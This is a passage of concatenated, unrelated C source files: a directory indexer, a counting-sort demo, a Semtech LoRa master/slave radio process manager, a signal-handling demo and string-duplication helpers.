("creating pipe"); return (-1); } pid = vfork (); if (pid == -1) { perror ("creating process"); return (-1); } if (pid == 0) { /* child */ close (0); dup2 (pd[0], 0); close (pd[0]); close (pd[1]); execl ("/usr/bin/sort", "sort", "-d", "-f", (char*)0); execl ("/bin/sort", "sort", "-d", "-f", (char*)0); fprintf (stderr, "%s: cannot run sort\n", progname); _exit (-1); } close (1); dup2 (pd[1], 1); close (pd[0]); close (pd[1]); return (0); } int kindex (char *dir) { if (runsort (dir) < 0) return (-1); stack_free (); stack_push (dir, 0); offset = 1 + strlen (dir); for (;;) { dir = stack_pop (); if (! dir) break; scan (dir); free (dir); } fclose (stdout); return (0); } int exclude (char *dir) { char **p; for (p=exlist; p<exlist+exlen; ++p) if (strncmp (dir, *p, strlen (*p)) == 0) return (1); return (0); } void scan (char *dir) { DIR *d; FILE *fd; struct dirent *e; char path [LINESZ], info [LINESZ], *iptr; struct stat st; int dirflag; struct tm *ptm; unsigned long mod; d = opendir (dir); if (! d) { perror (dir); return; } while ((e = readdir (d)) != 0) { if (e->d_name[0] == '.') continue; strcpy (path, dir); strcat (path, "/"); strcat (path, e->d_name); if (lstat (path, &st) < 0) continue; dirflag = 0; switch (st.st_mode & S_IFMT) { case S_IFDIR: if (exclude (dir)) continue; stack_push (path, &st); dirflag = 1; break; case S_IFLNK: if (exclude (dir)) continue; if (stat (path, &st) < 0) continue; if ((st.st_mode & S_IFMT) == S_IFDIR) { stack_push (path, &st); dirflag = 2; } break; case S_IFREG: break; default: continue; } sprintf (info, "%s/.info/%s", dir, e->d_name); fd = fopen (info, "r"); iptr = info; *info = 0; ptm = localtime (&st.st_mtime); mod = ptm->tm_year * 10000 + (ptm->tm_mon + 1) * 100 + ptm->tm_mday; if (fd) { if (fgetinfo (info, sizeof (info), fd)) { if (ISDIGIT (info[0]) && ISDIGIT (info[1]) && ISDIGIT (info[2]) && ISDIGIT (info[3]) && ISDIGIT (info[4]) && ISDIGIT (info[5])) { mod = atol (info); iptr = info + 6; while (*iptr==' ' || *iptr=='\t') ++iptr; } } else *info = 0; fclose (fd); } if (debug) { fputs (path+offset, stderr); if (dirflag) { putc ('/', stderr); if (dirflag > 1) putc ('/', stderr); } else fprintf (stderr, " %06ld", mod); if (*iptr) { putc (' ', stderr); fputs (iptr, stderr); } putc ('\n', stderr); } if (prefix) fputs (prefix, stdout); fputs (path+offset, stdout); if (dirflag) { putchar ('/'); if (dirflag > 1) putchar ('/'); } else printf (" %06ld", mod); if (*iptr) { putchar (' '); fputs (iptr, stdout); } putchar ('\n'); if (dirflag && verbose) { fputs (path+offset, stderr); if (dirflag) putc ('/', stderr); if (*iptr) { fputs (" -- ", stderr); fputs (iptr, stderr); } putc ('\n', stderr); } } closedir (d); } void stack_free () { int i; #ifdef ONEPASS if (history) vdbm_close (history); history = vdbm_open (32); #endif for (i=0; i<stack_pos; ++i) free (stack[i]); stack_pos = 0; } void stack_push (char *str, struct stat *st) { #ifdef ONEPASS vdatum key, data; struct stat stbuf; unsigned long buf[2]; if (! st) { stat (str, &stbuf); st = &stbuf; } /* * Try to find the directory in the history. * Ignore it if found. */ buf[0] = st->st_dev; buf[1] = st->st_ino; key.dptr = (void*) buf; key.dsize = sizeof (buf); if ((st->st_mode & S_IFMT) == S_IFDIR) { data = vdbm_fetch (history, key); if (data.dsize) return; } /* * Add new directory name to the history. */ data.dptr = ""; data.dsize = 1; vdbm_store (history, key, data, 0); #endif if (stack_len <= stack_pos) { if (stack_len == 0) { stack_len = 128; stack = malloc (stack_len * sizeof (char*)); } else { stack_len += 128; stack = realloc (stack, stack_len * sizeof (char*)); } if (! stack) { fprintf (stderr, "%s: out of memory\n", progname); quit (); } } stack[stack_pos++] = strdup (str); } char *stack_pop () { if (stack_pos <= 0) return (0); return (stack[--stack_pos]); } /* * Get multistring from the file. * The continuation lines are indented by spaces. */ int fgetinfo (char *info, int maxlen, FILE *fd) { char *p = info; int n; while (maxlen > 0) { if (! fgets (p, maxlen, fd)) break; n = strlen (p); maxlen -= n; p += n; while (p > info && (p[-1] == '\n' || p[-1] == '\15')) { *--p = 0; ++maxlen; } n = getc (fd); if (n != ' ' && n != '\t') { ungetc (n, fd); break; } *p++ = ' '; --maxlen; do { n = getc (fd); } while (n == ' ' || n == '\t'); ungetc (n, fd); } while (p > info && (p[-1] == '\n' || p[-1] == '\15')) { *--p = 0; ++maxlen; } return (p - info); }
the_stack_data/104355.c
#include <limits.h> #include <stdio.h> #include <stdlib.h> enum { n = 11 }; void print_array(size_t n, int A[n]) { char tails[3] = ",\n"; for (size_t i = 0; i < n; i += 1) { printf("%d%c", A[i], tails[i == n - 1]); } } void counting_sort(size_t n, int A[n], int B[n], size_t k) { int *C = calloc(k + 1, sizeof *C); for (size_t j = 0; j < n; j += 1) { C[A[j]] += 1; } for (size_t i = 1; i < k + 1; i += 1) { C[i] += C[i - 1]; } for (int j = n - 1; j >= 0; j -= 1) { B[C[A[j]] - 1] = A[j]; /* C returns 1-based indexing */ C[A[j]] = C[A[j]] - 1; } free(C); } int main(int argc, char *argv[argc + 1]) { int A[n] = {6, 0, 2, 0, 1, 3, 4, 6, 1, 3, 2}; int B[n] = {0}; int k = 6; print_array(n, A); counting_sort(n, A, B, k); print_array(n, B); return EXIT_SUCCESS; }
the_stack_data/123413.c
/* * --- Revised 3-Clause BSD License --- * Copyright (C) 2016-2019, SEMTECH (International) AG. * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL SEMTECH BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #if defined(CFG_lgw1) && defined(CFG_ral_master_slave) #define _GNU_SOURCE #include <limits.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <time.h> #include <sys/wait.h> #include <wordexp.h> #include "timesync.h" #include "tc.h" #include "sys.h" #include "sys_linux.h" #include "sx1301conf.h" #include "ral.h" #include "ralsub.h" #define WAIT_SLAVE_PID_INTV rt_millis(500) #define RETRY_KILL_INTV rt_millis(100) #define RETRY_PIPE_IO 500 #define PPM 1000000 typedef struct slave { tmr_t tmr; tmr_t tsync; pid_t pid; aio_t* dn; aio_t* up; u1_t state; u1_t killCnt; u1_t restartCnt; u1_t antennaType; dbuf_t sx1301confJson; int last_expcmd; // Read Spill Buffer struct { u1_t buf[PIPE_BUF]; int off; int exp; } rsb; } slave_t; static int n_slaves; static slave_t* slaves; static pid_t master_pid; static u4_t region; // Fwd decl static void restart_slave (tmr_t* tmr); static int read_slave_pipe (slave_t* slave, u1_t* buf, int bufsize, int expcmd, struct ral_response* expresp) { u1_t slave_idx = (int)(slave-slaves); u1_t retries = 0; u1_t expok = 0; while(1) { int n = read(slave->up->fd, buf, bufsize); if( n == 0 ) { // EOF LOG(MOD_RAL|ERROR, "Slave (%d) - EOF", slave_idx); rt_yieldTo(&slave->tmr, restart_slave); return expok; } if( n == -1 ) { if( errno == EAGAIN ) { if( expcmd == -1 ) return expok; // not waiting for a synchronous answer if( ++retries < 5 ) { rt_usleep(RETRY_PIPE_IO); continue; } LOG(MOD_RAL|WARNING, "Slave (%d) did not send reply data - expecting cmd=%d", slave_idx, expcmd); slave->last_expcmd = expcmd; return expok; } rt_fatal("Slave (%d) pipe read fail: %s", slave_idx, strerror(errno)); // NOT REACHED } slave->restartCnt = 0; int off = 0; while( off < n ) { int dlen = n - off; struct ral_header* hdr = (struct ral_header*)&buf[off]; int consumed = 0; if( slave->rsb.off ) { assert(slave->rsb.off<slave->rsb.exp); int chunksz = min(slave->rsb.exp-slave->rsb.off, n-off); memcpy(&slave->rsb.buf[slave->rsb.off], &buf[off], chunksz); off += chunksz; slave->rsb.off += chunksz; if( slave->rsb.off < slave->rsb.exp ) { continue; } hdr = (struct ral_header*)slave->rsb.buf; dlen = slave->rsb.off; } if( expcmd >= 0 && hdr->cmd == expcmd ) { if( (slave->rsb.exp = sizeof(struct ral_response)) > dlen ) goto spill; *expresp = *(struct ral_response*)hdr; consumed = sizeof(*expresp); expok = 1; slave->last_expcmd = expcmd = -1; } else if( slave->last_expcmd >= 0 && hdr->cmd == slave->last_expcmd ) { if( (slave->rsb.exp = sizeof(struct ral_response)) > dlen ) goto spill; LOG(MOD_RAL|WARNING, "Slave (%d) responded to expired synchronous cmd: %d. Ignoring.", slave_idx, hdr->cmd); consumed = sizeof(struct ral_response); slave->last_expcmd = -1; } else if( hdr->cmd == RAL_CMD_TIMESYNC ) { if( (slave->rsb.exp= sizeof(struct ral_timesync_resp)) > dlen ) goto spill; struct ral_timesync_resp* resp = (struct ral_timesync_resp*)hdr; ustime_t delay = ts_updateTimesync(slave_idx, resp->quality, &resp->timesync); rt_setTimer(&slave->tsync, rt_micros_ahead(delay)); consumed = sizeof(*resp); } else if( hdr->cmd == RAL_CMD_RX ) { if( (slave->rsb.exp = sizeof(struct ral_rx_resp)) > dlen ) goto spill; struct ral_rx_resp* resp = (struct ral_rx_resp*)hdr; rxjob_t* rxjob = !TC ? NULL : s2e_nextRxjob(&TC->s2ctx); if( rxjob != NULL ) { memcpy(&TC->s2ctx.rxq.rxdata[rxjob->off], resp->rxdata, resp->rxlen); rxjob->len = resp->rxlen; rxjob->freq = resp->freq; rxjob->rctx = resp->rctx; rxjob->xtime = resp->xtime; rxjob->rssi = resp->rssi; rxjob->snr = resp->snr; rxjob->dr = s2e_rps2dr(&TC->s2ctx, resp->rps); if( rxjob->dr == DR_ILLEGAL ) { LOG(MOD_RAL|ERROR, "Unable to map to an up DR: %R", resp->rps); } else { s2e_addRxjob(&TC->s2ctx, rxjob); s2e_flushRxjobs(&TC->s2ctx); // XXX } } else { LOG(MOD_RAL|ERROR, "Slave (%d) has RX frame dropped - out of space", slave_idx); } consumed = sizeof(*resp); } else { rt_fatal("Slave (%d) sent unexpected data: cmd=%d size=%d", slave_idx, hdr->cmd, dlen); } if( slave->rsb.off ) { slave->rsb.off = 0; } else { off += consumed; } continue; spill: if( sizeof(slave->rsb.buf)-slave->rsb.off < dlen ) { rt_fatal("Slave (%d) Cannot store data in slave->rsb.buf size=%d slave->rsb.off=%d", slave_idx, n-off, slave->rsb.off); } else { memcpy(&slave->rsb.buf[slave->rsb.off], hdr, dlen); slave->rsb.off += dlen; off += dlen; } } assert(off==n); } } static void pipe_read (aio_t* aio) { slave_t* slave = aio->ctx; u1_t buf[PIPE_BUF]; struct ral_response resp; read_slave_pipe(slave, buf, PIPE_BUF, -1, &resp); } // Called at exit for master process - kill all children static void killAllSlaves () { if( master_pid != getpid() ) return; // do not run in fork's of master intending to run commands! for( int i=0; i<n_slaves; i++ ) { slave_t* slave = &slaves[i]; pid_t pid = slave->pid; slave->pid = 0; aio_close(slave->up); aio_close(slave->dn); rt_clrTimer(&slave->tmr); if( pid ) kill(pid, SIGKILL); } rt_usleep(rt_millis(200)); while( waitpid(-1, NULL, WNOHANG) > 0 ); } static int is_slave_alive (slave_t* slave) { int wstatus, code = 0; str_t msg, xmsg = ""; int slave_idx = slave-slaves; pid_t pid = slave->pid; if( pid == 0 ) return 0; pid_t wpid = waitpid(pid, &wstatus, WNOHANG); if( wpid < 0 ) { msg = "Assuming slave is dead - waitpid errno"; xmsg = strerror(errno); goto gone; } if( wpid == pid ) { if( WIFEXITED(wstatus) ) { code = WEXITSTATUS(wstatus); if( code >= FATAL_GENERIC && code <= FATAL_MAX ) { rt_fatal("Slave pid=%d idx=%d: Fatal exit", pid, slave_idx); } msg = "Exited with status"; goto gone; } if( WIFSIGNALED(wstatus) ) { code = WTERMSIG(wstatus); msg = "Terminated by signal"; goto gone; } // not handling: WIFSTOPPED/WIFCONTINUED return 1; // still running } if( wpid != 0 ) LOG(MOD_RAL|WARNING, "waitpid returned unexpected pid=%d", wpid); return 1; // still running gone: LOG(MOD_RAL|ERROR, "Slave pid=%d idx=%d: %s=%d %s", pid, slave_idx, msg, code, xmsg); slave->pid = pid = 0; return 0; } static void recheck_slave (tmr_t* tmr) { slave_t* slave = memberof(slave_t, tmr, tmr); if( is_slave_alive(slave) ) { rt_setTimer(&slave->tmr, rt_micros_ahead(WAIT_SLAVE_PID_INTV)); return; } restart_slave(tmr); } static void execSlave (int idx, int rdfd, int wrfd) { wordexp_t wexp; memset(&wexp, 0, sizeof(wexp)); // Prepare some env vars char idxbuf[12], rdfdbuf[12], wrfdbuf[12]; snprintf(idxbuf, sizeof(idxbuf), "%d", idx); snprintf(rdfdbuf, sizeof(rdfdbuf), "%d", rdfd); snprintf(wrfdbuf, sizeof(wrfdbuf), "%d", wrfd); setenv("SLAVE_IDX" , idxbuf , 1); setenv("SLAVE_RDFD", rdfdbuf, 1); setenv("SLAVE_WRFD", wrfdbuf, 1); int fail = wordexp(sys_slaveExec, &wexp, WRDE_DOOFFS|WRDE_NOCMD|WRDE_UNDEF|WRDE_SHOWERR); if( fail ) { str_t err; switch(fail) { case WRDE_BADCHAR: err = "Unquoted shell special character (e.g. one of <>|&;(){} -- use quotes?)"; break; case WRDE_BADVAL: err = "Undefined shell variable"; break; case WRDE_CMDSUB: err = "Command substition $(..) not allowed"; break; case WRDE_SYNTAX: err = "Syntax error"; break; default: err = "Unknown error"; break; } wordfree(&wexp); rt_fatal("Failed to execute slave process: %s", err); } for( int i=0; i<=wexp.we_wordc; i++ ) { LOG(MOD_RAL|DEBUG, "%s argv[%d]: <%s>\n", i==0?"execvp":" ", i, wexp.we_wordv[i]); } sys_flushLog(); execvp(wexp.we_wordv[0], wexp.we_wordv); for( int i=0; i<=wexp.we_wordc; i++ ) { LOG(MOD_RAL|ERROR, "%s argv[%d]: <%s>\n", i==0?"execvp":" ", i, wexp.we_wordv[i]); } rt_fatal("Failed to execute slave process (%d): %s", idx, strerror(errno)); } static int write_slave_pipe (slave_t* slave, void* data, int len) { if( slave->dn == NULL ) { LOG(MOD_RAL|ERROR, "Slave currently down/restarting"); return 0; } int n, retries = 0; again: n = write(slave->dn->fd, data, len); if( n != -1 ) { assert(n==len); return 1; } if( errno == EAGAIN ) { if( ++retries < 5 ) { rt_usleep(RETRY_PIPE_IO); goto again; } LOG(MOD_RAL|ERROR, "Pipe to slave full"); } else if( errno == EPIPE ) { LOG(MOD_RAL|ERROR, "Slave pipe dead"); } else { LOG(MOD_RAL|ERROR, "Slave pipe write error: %s", strerror(errno)); } return 0; } static void send_config (slave_t* slave) { struct ral_config_req req = { .cmd = RAL_CMD_CONFIG, .rctx = 0 }; strcpy(req.hwspec, "sx1301/1"); int jlen = slave->sx1301confJson.bufsize; if( jlen > sizeof(req.json) ) rt_fatal("JSON of sx1301conf to big for pipe: %d > %d", jlen, sizeof(req.json)); if( jlen > 0 ) { req.region = region; req.jsonlen = jlen; memcpy(req.json, slave->sx1301confJson.buf, jlen); LOG(MOD_RAL|INFO, "Master sending %d bytes of JSON sx1301conf to slave (%d)", jlen, (int)(slave-slaves)); if( !write_slave_pipe(slave, &req, sizeof(req)) ) rt_fatal("Failed to send sx1301conf"); } } static void req_timesync (tmr_t* tmr) { slave_t* slave = memberof(slave_t, tmr, tsync); struct ral_timesync_req req = { .cmd = RAL_CMD_TIMESYNC, .rctx = 0 }; if( !write_slave_pipe(slave, &req, sizeof(req)) ) rt_fatal("Failed to send ral_timesync_req"); } static void restart_slave (tmr_t* tmr) { slave_t* slave = memberof(slave_t, tmr, tmr); pid_t pid = slave->pid; int slaveIdx = (int)(slave-slaves); if( ++slave->restartCnt > 4 ) { // Velocity check for slave restarts rt_fatal("Slave %d restarted %d times without successful interaction", slaveIdx, slave->restartCnt); } rt_clrTimer(&slave->tmr); rt_clrTimer(&slave->tsync); aio_close(slave->up); aio_close(slave->dn); slave->up = slave->dn = NULL; if( is_slave_alive(slave) ) { LOG(MOD_RAL|INFO, "Slave pid=%d idx=%d: Trying kill (cnt=%d)", slaveIdx, pid, slave->killCnt); int err = kill(pid, slave->killCnt <= 2 ? SIGTERM : SIGKILL); if( err == -1 && errno != ESRCH ) LOG(MOD_RAL|ERROR, "kill failed: %s", strerror(errno)); slave->killCnt += 1; rt_setTimerCb(&slave->tmr, rt_micros_ahead(RETRY_KILL_INTV), restart_slave); return; } int up[2] = { -1, -1 }; int dn[2] = { -1, -1 }; if( pipe2(up, O_NONBLOCK) == -1 || pipe2(dn, O_NONBLOCK) == -1 ) { rt_fatal("Failed to create pipe: %s", strerror(errno)); } slave->up = aio_open(slave, up[0], pipe_read, NULL); slave->dn = aio_open(slave, dn[1], NULL, NULL); // we need this only for O_CLOEXEC sys_flushLog(); if( (pid = fork()) == 0 ) { // This is the child process. Execute the shell command. execSlave(slaveIdx, dn[0], up[1]); // NOT REACHED assert(0); } else if( pid < 0 ) { rt_fatal("Fork failed: %s\n", strerror(errno)); } // Master LOG(MOD_RAL|INFO, "Master has started slave: pid=%d idx=%d (attempt %d)", pid, slaveIdx, slave->restartCnt); close(up[1]); close(dn[0]); slave->pid = pid; send_config(slave); pipe_read(slave->up); rt_yieldTo(&slave->tmr, recheck_slave); } u1_t ral_altAntennas (u1_t txunit) { if( txunit >= n_slaves || slaves[txunit].antennaType != SX1301_ANT_OMNI ) return 0; u1_t v = 0; for( int sidx=0; sidx < n_slaves; sidx++ ) { if( sidx == txunit || slaves[sidx].antennaType != SX1301_ANT_OMNI ) continue; v |= 1<<sidx; } return v; } static slave_t* txunit2slave(u1_t txunit, str_t op) { if( txunit >= n_slaves ) { LOG(MOD_RAL|ERROR, "Illegal radio txunit #%d - rejecting %s", txunit, op); return NULL; } slave_t* slave = &slaves[txunit]; if( slave->dn == NULL ) { LOG(MOD_RAL|ERROR, "Slave #%d dead - rejecting %s", txunit, op); return NULL; } return slave; } int ral_tx (txjob_t* txjob, s2ctx_t* s2ctx, int nocca) { // NOTE: nocca not possible to implement with current libloragw API slave_t* slave = txunit2slave(txjob->txunit, "tx"); if( slave == NULL ) return RAL_TX_FAIL; struct ral_tx_req req; memset(&req, 0, sizeof(req)); req.cmd = nocca ? RAL_CMD_TX_NOCCA : RAL_CMD_TX; req.rctx = txjob->rctx; req.rps = (s2e_dr2rps(s2ctx, txjob->dr) | (txjob->txflags & TXFLAG_BCN ? RPS_BCN : 0)); req.xtime = txjob->xtime; req.freq = txjob->freq; req.txpow = txjob->txpow; req.txlen = txjob->len; memcpy(req.txdata, &s2ctx->txq.txdata[txjob->off], txjob->len); if( !write_slave_pipe(slave, &req, sizeof(req)) ) return RAL_TX_FAIL; if( region == 0 ) return RAL_TX_OK; struct ral_response resp; u1_t buf[PIPE_BUF]; if( !read_slave_pipe(slave, buf, PIPE_BUF, RAL_CMD_TX, &resp) ) return TXSTATUS_IDLE; return resp.status; } int ral_txstatus (u1_t txunit) { slave_t* slave = txunit2slave(txunit, "tx"); if( slave == NULL ) return TXSTATUS_IDLE; struct ral_txstatus_req req = { .cmd = RAL_CMD_TXSTATUS, .rctx = txunit }; if( !write_slave_pipe(slave, &req, sizeof(req)) ) return TXSTATUS_IDLE; struct ral_response resp; u1_t buf[PIPE_BUF]; if( !read_slave_pipe(slave, buf, PIPE_BUF, RAL_CMD_TXSTATUS, &resp) ) return TXSTATUS_IDLE; return resp.status; } void ral_txabort (u1_t txunit) { slave_t* slave = txunit2slave(txunit, "tx"); if( slave == NULL ) return; struct ral_txstatus_req req = { .cmd = RAL_CMD_TXABORT, .rctx = txunit }; write_slave_pipe(slave, &req, sizeof(req)); } int ral_config (str_t hwspec, u4_t cca_region, char* json, int jsonlen) { if( strncmp(hwspec, "sx1301/", 7) != 0 ) { LOG(MOD_RAL|ERROR, "Unsupported hwspec=%s", hwspec); return 0; } for( int i=0; i<n_slaves; i++ ) dbuf_free(&slaves[i].sx1301confJson); ujdec_t D; uj_iniDecoder(&D, json, jsonlen); if( uj_decode(&D) ) { LOG(MOD_RAL|ERROR, "Parsing of sx1301 channel setup JSON failed"); return 0; } if( uj_null(&D) ) { LOG(MOD_RAL|ERROR, "sx1301_conf is null but a hw setup IS required - no fallbacks"); return 0; } uj_enterArray(&D); int slaveIdx, n1301=0; while( (slaveIdx = uj_nextSlot(&D)) >= 0 ) { n1301 = slaveIdx+1; if( slaveIdx < n_slaves ) { slaves[slaveIdx].sx1301confJson = dbuf_dup(uj_skipValue(&D)); } else { uj_skipValue(&D); } } uj_exitArray(&D); uj_assertEOF(&D); if( n1301 == 0 ) { LOG(MOD_RAL|ERROR, "sx1301_conf is empty but a hw setup IS required - no fallbacks"); return 0; } str_t s = hwspec+7; int specn = rt_readDec(&s); if( specn != n1301 ) { LOG(MOD_RAL|ERROR, "hwspec=%s and size of sx1301_conf array (%d) not in sync", hwspec, n1301); return 0; } if( n1301 > n_slaves ) { LOG(MOD_RAL|ERROR, "Region plan asks for hwspec=%s which exceeds actual hardware: sx1301/%d", hwspec, n1301); return 0; } if( n1301 < n_slaves ) { if( n_slaves % n1301 != 0 ) { LOG(MOD_RAL|WARNING, "Region plan hwspec '%s' cannot be replicated onto routers 'sx1301/%d' - router is underutilized", hwspec, n_slaves); } else { for( int si=n1301, sj=0; si < n_slaves; si++, sj=(sj+1)%n1301 ) slaves[si].sx1301confJson = dbuf_dup(slaves[sj].sx1301confJson); LOG(MOD_RAL|WARNING, "Region plan hwspec '%s' replicated %d times onto slaves 'sx1301/%d' - assuming antenna diversity", hwspec, n_slaves/n1301, n_slaves); } } else { LOG(MOD_RAL|INFO, "Region plan hwspec '%s' mapped to %d slaves 'sx1301/1'", hwspec, n_slaves); } region = cca_region; for( int i=0; i < n_slaves; i++ ) send_config(&slaves[i]); return 1; } void ral_ini () { // Find out if we should start slaves int slaveCnt = 0; while(1) { char cfname[64]; snprintf(cfname, sizeof(cfname), "slave-%d.conf", slaveCnt); dbuf_t b = sys_checkFile(cfname); if( b.buf == NULL ) break; free(b.buf); slaveCnt += 1; } if( slaveCnt == 0 || slaveCnt > MAX_TXUNITS ) rt_fatal("%s 'slave-N.conf' files found (N=0,1,..,%d)", slaveCnt ? "Too many" : "No", MAX_TXUNITS-1); assert(slaves == NULL); n_slaves = slaveCnt; slaves = rt_mallocN(slave_t, n_slaves); int allok = 1; for( int sidx=0; sidx < n_slaves; sidx++ ) { struct sx1301conf sx1301conf; if( !sx1301conf_parse_setup(&sx1301conf, sidx, "sx1301/1", "{}", 2) ) { allok = 0; } else { slaves[sidx].antennaType = sx1301conf.antennaType; } slaves[sidx].last_expcmd = -1; } if( !allok ) rt_fatal("Failed to load/parse some slave config files"); master_pid = getpid(); atexit(killAllSlaves); signal(SIGPIPE, SIG_IGN); for( int i=0; i<n_slaves; i++ ) { rt_iniTimer(&slaves[i].tmr, NULL); rt_iniTimer(&slaves[i].tsync, req_timesync); rt_yieldTo(&slaves[i].tmr, restart_slave); } } void ral_stop () { struct ral_timesync_req req = { .cmd = RAL_CMD_STOP, .rctx = 0 }; for( int slaveIdx=0; slaveIdx < n_slaves; slaveIdx++ ) { slave_t* slave = &slaves[slaveIdx]; write_slave_pipe(slave, &req, sizeof(req)); } } #endif // defined(CFG_lgw1) && defined(CFG_ral_master_slave)
the_stack_data/42868.c
/* * HelloWhileLoop * Compile: * gcc -std=gnu99 helloWhile.c -o helloWhile.out */ #include <stdio.h> #include <unistd.h> int foo; int main() { int bar = 100; int foo = 0; printf("In main foo = %d\n",foo); printf("bar = %d\n",bar); if (bar > foo) { printf("bar %d is greater than foo %d", bar, foo); } else { printf("bar %d is not greater than foo %d", bar, foo); } //Change bar to be 50, and foo to be return 0; }
the_stack_data/363641.c
#include<stdio.h> #include<signal.h> #include<unistd.h> #include<stdlib.h> // default time to sleep is 15s int sleep_time = 15; void sig_handler(int signo) { if (signo == SIGUSR1) printf("received SIGUSR1\n"); else if (signo == SIGINT) { printf("\nreceived SIGINT (Keyboard Interrupt)\n"); exit(0); } else if (signo == SIGTERM) { printf("received SIGTERM\n"); printf("the program will take %is to finish correctly\n", sleep_time); printf("...\n"); sleep(sleep_time); printf("SUCCESS: the program had enough time to finish\n"); exit(0); } } int main(int argc, char *argv[]) { // if passed as CLI arg then use that if( argc == 2 ) sleep_time = atoi(argv[1]); // disable stdout buffer to get real time logs from the container setbuf(stdout, NULL); printf("Flare running with PID %ld\n\n", (long)getpid()); // warn about uncapturable signals if (signal(SIGINT, sig_handler) == SIG_ERR) printf("Can't catch SIGINT\n"); if (signal(SIGUSR1, sig_handler) == SIG_ERR) printf("Can't catch SIGUSR1\n"); if (signal(SIGTERM, sig_handler) == SIG_ERR) printf("Can't catch SIGTERM\n"); // Wait for signals while(1) sleep(1); return 0; }
the_stack_data/140766164.c
/* * strdup() is not part of POSIX and is causing crashes on my CentOS systems. * * This is a simple implementation of strdup() but we can't call it that! * * For more information see http://stackoverflow.com/questions/8359966/strdup-returning-address-out-of-bounds */ #include <stdlib.h> #include <string.h> #include <stdio.h> char *dupstr(const char *s) { char *const result = malloc(strlen(s) + 1); if (result == NULL) { fprintf(stderr, "Cannot allocate memory to duplicate %s\n", s); exit(1); } strcpy(result, s); return result; } char *catstr(const char *s, const char *t) { char *const result = malloc(strlen(s) + strlen(t) + 1); if (result == NULL) { fprintf(stderr, "Cannot allocate memory for catstr of %s and %s\n", s, t); exit(1); } int i; for (i=0; i<strlen(s); i++) result[i] = s[i]; for (int j=0; j<strlen(t); j++) result[i++] = t[j]; result[i]='\0'; return result; }